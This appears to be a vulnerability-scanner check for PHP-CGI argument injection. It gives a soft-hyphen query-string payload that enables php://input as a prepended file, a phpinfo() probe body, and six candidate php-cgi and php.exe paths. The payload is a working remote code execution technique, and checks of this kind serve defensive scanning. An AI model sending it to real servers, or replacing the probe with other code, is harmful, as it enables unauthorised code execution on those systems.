Payload:
?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
<?php phpinfo(); ?>Test URL:
/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}
/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}
Ref: